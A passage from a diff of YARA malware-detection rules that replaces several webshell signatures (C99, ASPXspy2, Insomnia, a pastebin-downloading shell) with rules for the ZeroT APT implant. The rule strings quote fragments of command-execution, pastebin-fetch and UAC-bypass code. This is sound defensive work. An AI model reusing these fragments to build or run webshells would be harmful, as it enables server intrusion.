+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6920febf177667610e3edb8ba88ec137d085a867c1d6a570d4785fcc9cc62d49"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ee2e2937128dac91a11e9bf55babc1a8387eb16cebe676142c885b2fc18669b2"
 
 	strings:
-		$a1a = "private static final String[] COMMAND_INTERPRETER = {\"" ascii
-		$a1b = "cmd\", \"/C\"}; // Dos,Windows" ascii
-		$a2 = "Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));" ascii
-		$a3 = "ret.append(\"!!!! Process has timed out, destroyed !!!!!\");" ascii
+		$s1 = "/svchost.exe" fullword ascii
+		$s2 = "RasTls.dll" fullword ascii
+		$s3 = "20160620.htm" fullword ascii
+		$s4 = "* $l&$" fullword ascii
+		$s5 = "dfjhmh" fullword ascii
+		$s6 = "/20160620.htm" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5449 and filesize <1000KB and 3 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_JSP_Jfigueiredo_APT_Webshell
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_4 : FILE
 {
 	meta:
-		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b5080e43-44e2-54fa-b03a-057dc75d14db"
-		date = "2014-12-10"
+		id = "b21961ee-d346-51d3-bacd-02554240162d"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/Browser.jsp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9060-L9073"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7efaca469d09ce7ecba4ed38cb0b07d1b9fc4f45172d2ffb6f5d3259c000fdc5"
-		score = 60
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L61-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8011497e7d061a9ebde06667e47b5cd9469a433e0be1401d70637e7ace8e8155"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a9519d2624a842d2c9060b64bb78ee1c400fea9e43d4436371a67cbf90e611b8"
 
 	strings:
-		$a1 = "String fhidden = new String(Base64.encodeBase64(path.getBytes()));" ascii
-		$a2 = "<form id=\"upload\" name=\"upload\" action=\"ServFMUpload\" method=\"POST\" enctype=\"multipart/form-data\">" ascii
+		$s1 = "Mcutil.dll" fullword ascii
+		$s2 = "mcut.exe" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_JSP_Jfigueiredo_APT_Webshell_2
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_5 : FILE
 {
 	meta:
-		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "91575627-78c1-5ca1-8180-cc4004df88e8"
-		date = "2014-12-10"
+		id = "2a7c6a36-aace-562e-bbc4-425c1d93fab1"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9075-L9090"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f7fa5872d8eb4ba1d0b26d966d7650d70b1a10c56945d5a5340b8e1cb5d0f5f0"
-		score = 60
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L77-L95"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fbc1a2e078cfae7a9c72612b9c769e84d8c1d59c89e05001571ad00071e38577"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "74dd52aeac83cc01c348528a9bcb20bbc34622b156f40654153e41817083ba1d"
 
 	strings:
-		$a1 = "<div id=\"bkorotator\"><img alt=\"\" src=\"images/rotator/1.jpg\"></div>" ascii
-		$a2 = "$(\"#dialog\").dialog(\"destroy\");" ascii
-		$s1 = "<form id=\"form\" action=\"ServFMUpload\" method=\"post\" enctype=\"multipart/form-data\">" ascii
-		$s2 = "<input type=\"hidden\" id=\"fhidden\" name=\"fhidden\" value=\"L3BkZi8=\" />" ascii
+		$x1 = "dbozcb" fullword ascii
+		$s1 = "nflogger.dll" fullword ascii
+		$s2 = "/svchost.exe" fullword ascii
+		$s3 = "1207.htm" fullword ascii
+		$s4 = "/1207.htm" fullword ascii
 
 	condition:
-		all of ($a*) or all of ($s*)
+		( uint16(0)==0x5449 and filesize <1000KB and 1 of ($x*) and 1 of ($s*)) or ( all of them )
 }
-rule SIGNATURE_BASE_Webshell_Insomnia
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_6 : FILE
 {
 	meta:
-		description = "Insomnia Webshell - file InsomniaShell.aspx"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "62ed3695-9ab8-54d4-a9d2-b6270c56ccfb"
-		date = "2014-12-09"
+		id = "2e3bb4bd-5e20-56e7-a82b-d717d83eaeeb"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "http://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9092-L9113"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e0cfb2ffaa1491aeaf7d3b4ee840f72d42919d22"
-		logic_hash = "d170c60f94092a38ba4af92283debd059eef2e4c683fd7737ffd60d1a2581d9c"
-		score = 80
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L97-L111"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2de78012cc384211cef6c12817fd8cef9d93eef6de3197d0cfec64c1a8022ae3"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a16078c6d09fcfc9d6ff7a91e39e6d72e2d6d6ab6080930e1e2169ec002b37d3"
 
 	strings:
-		$s0 = "Response.Write(\"- Failed to create named pipe:\");" fullword ascii
-		$s1 = "Response.Output.Write(\"+ Sending {0}<br>\", command);" fullword ascii
-		$s2 = "String command = \"exec master..xp_cmdshell 'dir > \\\\\\\\127.0.0.1" ascii
-		$s3 = "Response.Write(\"- Error Getting User Info<br>\");" fullword ascii
-		$s4 = "string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes," fullword ascii
-		$s5 = "[DllImport(\"Advapi32.dll\", SetLastError = true)]" fullword ascii
-		$s9 = "username = DumpAccountSid(tokUser.User.Sid);" fullword ascii
-		$s14 = "//Response.Output.Write(\"Opened process PID: {0} : {1}<br>\", p" ascii
+		$s1 = "jGetgQ|0h9=" fullword ascii
+		$s2 = "\\sfxrar32\\Release\\sfxrar.pdb"
 
 	condition:
-		3 of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_Hawkeye_PHP_Panel : FILE
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_7 : FILE
 {
 	meta:
-		description = "Detects HawkEye Keyloggers PHP Panel"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1d185345-6684-538f-954a-45d57a618a7a"
-		date = "2014-12-14"
+		id = "e9cdca86-84a8-5673-935c-c319b523674b"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9115-L9130"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e29b6df4e3aa3892b10e68218320ac76cecb5a1bbe6c48f2276014b972cbbdd8"
-		score = 60
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L113-L129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "87ab6cd5c769e7e38bef807fa7d15af3a66fed8fdb7fed49fa62d87e1049ceb4"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fc2d47d91ad8517a4a974c4570b346b41646fac333d219d2f1282c96b4571478"
 
 	strings:
-		$s0 = "$fname = $_GET['fname'];" ascii fullword
-		$s1 = "$data = $_GET['data'];" ascii fullword
-		$s2 = "unlink($fname);" ascii fullword
-		$s3 = "echo \"Success\";" fullword ascii
+		$s1 = "RasTls.dll" fullword ascii
+		$s2 = "RasTls.exe" fullword ascii
+		$s4 = "LOADER ERROR" fullword ascii
+		$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
 
 	condition:
-		all of ($s*) and filesize <600
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_Soaksoak_Infected_Wordpress
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_8 : FILE
 {
 	meta:
-		description = "Detects a SoakSoak infected Wordpress site http://goo.gl/1GzWUX"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d147af65-72de-50be-9435-bef47eb4842a"
-		date = "2014-12-15"
+		id = "f9a4f092-c699-5e91-9667-64ffe1b02bc1"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/1GzWUX"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9132-L9147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4cba18a0d14be2795d71a1973265a1742beda57636f64c1974001ecf70e3e91d"
-		score = 60
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L131-L147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1d5e72970919cd5c0493f8882cbc6fb1bb3c5b6517813a4022efd0028dfe728"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4ef91c17b1415609a2394d2c6c353318a2503900e400aab25ab96c9fe7dc92ff"
 
 	strings:
-		$s0 = "wp_enqueue_script(\"swfobject\");" ascii fullword
-		$s1 = "function FuncQueueObject()" ascii fullword
-		$s2 = "add_action(\"wp_enqueue_scripts\", 'FuncQueueObject');" ascii fullword
+		$s1 = "/svchost.exe" fullword ascii
+		$s2 = "RasTls.dll" fullword ascii
+		$s3 = "20160620.htm" fullword ascii
+		$s4 = "/20160620.htm" fullword ascii
 
 	condition:
-		all of ($s*)
+		( uint16(0)==0x5449 and filesize <1000KB and 3 of them )
 }
-rule SIGNATURE_BASE_Pastebin_Webshell
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_9 : FILE
 {
 	meta:
-		description = "Detects a web shell that downloads content from pastebin.com http://goo.gl/7dbyZs"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "256051ed-da33-52b4-8bfb-ab990648d8fb"
-		date = "2015-01-13"
+		id = "e1c32993-409c-5a62-8239-cff99fb83a7f"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/7dbyZs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9149-L9171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e71429e9280c37a90ee77be888ae743a86521d3632afc4eeec480b82a22a1445"
-		score = 70
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L149-L163"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "af4b85ef01c4fa21a2506369f3bc0f8eff6e95a4cfd494e1ea11a44d75bb024e"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a685cf4dca6a58213e67d041bba637dca9cb3ea6bb9ad3eae3ba85229118bce0"
 
 	strings:
-		$s0 = "file_get_contents(\"http://pastebin.com" ascii
-		$s1 = "xcurl('http://pastebin.com/download.php" ascii
-		$s2 = "xcurl('http://pastebin.com/raw.php" ascii
-		$x0 = "if($content){unlink('evex.php');" ascii
-		$x1 = "$fh2 = fopen(\"evex.php\", 'a');" ascii
-		$y0 = "file_put_contents($pth" ascii
-		$y1 = "echo \"<login_ok>" ascii
-		$y2 = "str_replace('* @package Wordpress',$temp" ascii
+		$x1 = "nflogger.dll" fullword ascii
+		$s7 = "Zlh.exe" fullword ascii
 
 	condition:
-		1 of ($s*) or all of ($x*) or all of ($y*)
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_Aspxspy2
+rule SIGNATURE_BASE_CN_APT_Zerot_Nflogger : FILE
 {
 	meta:
-		description = "Web shell - file ASPXspy2.aspx"
+		description = "Chinese APT by Proofpoint ZeroT RAT  - file nflogger.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b68e0c98-0136-58d8-a2d6-57abccb1e942"
-		date = "2015-01-24"
+		id = "0d23f312-e3b6-5c23-855b-25ae54265512"
+		date = "2017-02-04"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9173-L9199"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5642387d92139bfe9ae11bfef6bfe0081dcea197"
-		logic_hash = "59c88f8e2542dcde4bf5123147ea2c1ca408925ca966f3f34a4692a3ba7a0935"
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L165-L178"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dc9b19e3c4c321cb9f840ec9ff78bec9e4a075cc62ea2823d92a3fbd9f99cc07"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "946adbeb017616d56193a6d43fe9c583be6ad1c7f6a22bab7df9db42e6e8ab10"
 
 	strings:
-		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
-		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
-		$s3 = "Process[] p=Process.GetProcesses();" fullword ascii
-		$s4 = "Response.Cookies.Add(new HttpCookie(vbhLn,Password));" fullword ascii
-		$s5 = "[DllImport(\"kernel32.dll\",EntryPoint=\"GetDriveTypeA\")]" fullword ascii
-		$s6 = "<p>ConnString : <asp:TextBox id=\"MasR\" style=\"width:70%;margin:0 8px;\" CssCl" ascii
-		$s7 = "ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();" fullword ascii
-		$s8 = "Copyright &copy; 2009 Bin -- <a href=\"http://www.rootkit.net.cn\" target=\"_bla" ascii
-		$s10 = "Response.AddHeader(\"Content-Disposition\",\"attachment;filename=\"+HttpUtility." ascii
-		$s11 = "nxeDR.Command+=new CommandEventHandler(this.iVk);" fullword ascii
-		$s12 = "<%@ import Namespace=\"System.ServiceProcess\"%>" fullword ascii
-		$s13 = "foreach(string innerSubKey in sk.GetSubKeyNames())" fullword ascii
-		$s17 = "Response.Redirect(\"http://www.rootkit.net.cn\");" fullword ascii
-		$s20 = "else if(Reg_Path.StartsWith(\"HKEY_USERS\"))" fullword ascii
+		$x1 = "\\LoaderDll.VS2010\\Release\\" ascii
 
 	condition:
-		6 of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_Webshell_27_9_C66_C99 : FILE
+rule SIGNATURE_BASE_CN_APT_Zerot_Extracted_Go : FILE
 {
 	meta:
-		description = "Detects Webshell - rule generated from from files 27.9.txt, c66.php, c99-shadows-mod.php, c99.php ..."
+		description = "Chinese APT by Proofpoint ZeroT RAT  - file Go.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4b985ae7-1ae6-5976-9e8d-0d6b5faed75b"
-		date = "2016-01-11"
-		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9210-L9235"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "71ae0a3843151a2eec913f62167b23cf9e0c759b18ebe0759174d3503fb23717"
-		score = 70
+		id = "ba929e6d-4162-58e7-b8a8-bcb066b64522"
+		date = "2017-02-04"
+		modified = "2023-01-06"
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L180-L203"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf5e2d825e4bd63e94455ffb4013fa1088098a826390c1916c0aa50866588fcb"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
-		hash2 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
-		hash3 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
-		hash4 = "80ec7831ae888d5603ed28d81225ed8b256c831077bb8feb235e0a1a9b68b748"
-		hash5 = "6ce99e07aa98ba6dc521c34cf16fbd89654d0ba59194878dffca857a4c34e57b"
-		hash6 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
-		hash7 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
-		hash8 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
-		hash9 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
-		hash10 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash1 = "83ddc69fe0d3f3d2f46df7e72995d59511c1bfcca1a4e14c330cb71860b4806b"
 
 	strings:
-		$s4 = "if (!empty($unset_surl)) {setcookie(\"c99sh_surl\"); $surl = \"\";}" fullword ascii
-		$s6 = "@extract($_REQUEST[\"c99shcook\"]);" fullword ascii
-		$s7 = "if (!function_exists(\"c99_buff_prepare\"))" fullword ascii
+		$x1 = "%s\\cmd.exe /c %s\\Zlh.exe" fullword ascii
+		$x2 = "\\BypassUAC.VS2010\\Release\\" ascii
+		$s1 = "Zjdsf.exe" fullword ascii
+		$s2 = "SS32prep.exe" fullword ascii
+		$s3 = "windowsgrep.exe" fullword ascii
+		$s4 = "Sysdug.exe" fullword ascii
+		$s5 = "Proessz.exe" fullword ascii
+		$s6 = "%s\\Zlh.exe" fullword ascii
+		$s7 = "/C %s\\%s" fullword ascii
 
 	condition:
-		filesize <685KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 3 of ($s*))) or (7 of them )
 }
-rule SIGNATURE_BASE_Webshell_Acid_Antisecshell_3 : FILE
+rule SIGNATURE_BASE_CN_APT_Zerot_Extracted_Mcutil : FILE
 {
 	meta:
-		description = "Detects Webshell Acid"
+		description = "Chinese APT by Proofpoint ZeroT RAT  - file Mcutil.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "68d59f1e-ef35-586b-805d-1e6e3548d092"
-		date = "2016-01-11"
+		id = "c887d36b-8aeb-54f1-a683-727561723238"
+		date = "2017-02-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9237-L9269"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8c3fcde7afdafe8ead59e24e432fdd4ccae99f96f67b4be3e5a9cd74ff9b2e7"
-		score = 70
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L205-L223"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "edb6000fd65d6593bd94842e60ec099c5a652d10005f81d17063dba1a2e267d2"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
-		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
-		hash3 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
-		hash4 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
-		hash5 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
-		hash6 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
-		hash7 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
-		hash8 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
-		hash9 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
-		hash10 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
-		hash11 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
-		hash12 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
-		hash13 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
-		hash14 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
-		hash15 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
-		hash16 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
-		hash17 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
-		hash18 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+		hash1 = "266c06b06abbed846ebabfc0e683f5d20dadab52241bc166b9d60e9b8493b500"
 
 	strings:
-		$s0 = "echo \"<option value=delete\".($dspact == \"delete\"?\" selected\":\"\").\">Delete</option>\";" fullword ascii
-		$s1 = "if (!is_readable($o)) {return \"<font color=red>\".view_perms(fileperms($o)).\"</font>\";}" fullword ascii
+		$s1 = "LoaderDll.dll" fullword ascii
+		$s2 = "QageBox1USER" fullword ascii
+		$s3 = "xhmowl" fullword ascii
+		$s4 = "?KEYKY" fullword ascii
+		$s5 = "HH:mm:_s" fullword ascii
+		$s6 = "=licni] has maX0t" fullword ascii
 
 	condition:
-		filesize <900KB and all of them
+		( uint16(0)==0x5a4d and filesize <90KB and 3 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_Webshell_C99_4 : FILE
+rule SIGNATURE_BASE_CN_APT_Zerot_Extracted_Zlh : FILE
 {
 	meta:
-		description = "Detects C99 Webshell"
+		description = "Chinese APT by Proofpoint ZeroT RAT - file Zlh.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d5035906-df17-5149-92ae-51e6ec05996e"
-		date = "2016-01-11"
+		id = "4c8b9a90-6cb3-5aba-a993-f73207341d0e"
+		date = "2017-02-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9271-L9302"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa095d8da737e24a913eeadaca2882475366bf5cf0911dd9ff44aaa04871cc0f"
-		score = 70
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L225-L241"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26796f75a8302bd6c93eb3ea43d0491b86770b52bd11aad6e1e250d968a77004"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
-		hash2 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
-		hash3 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
-		hash4 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
-		hash5 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
-		hash6 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
-		hash7 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
-		hash8 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
-		hash9 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
-		hash10 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
-		hash11 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
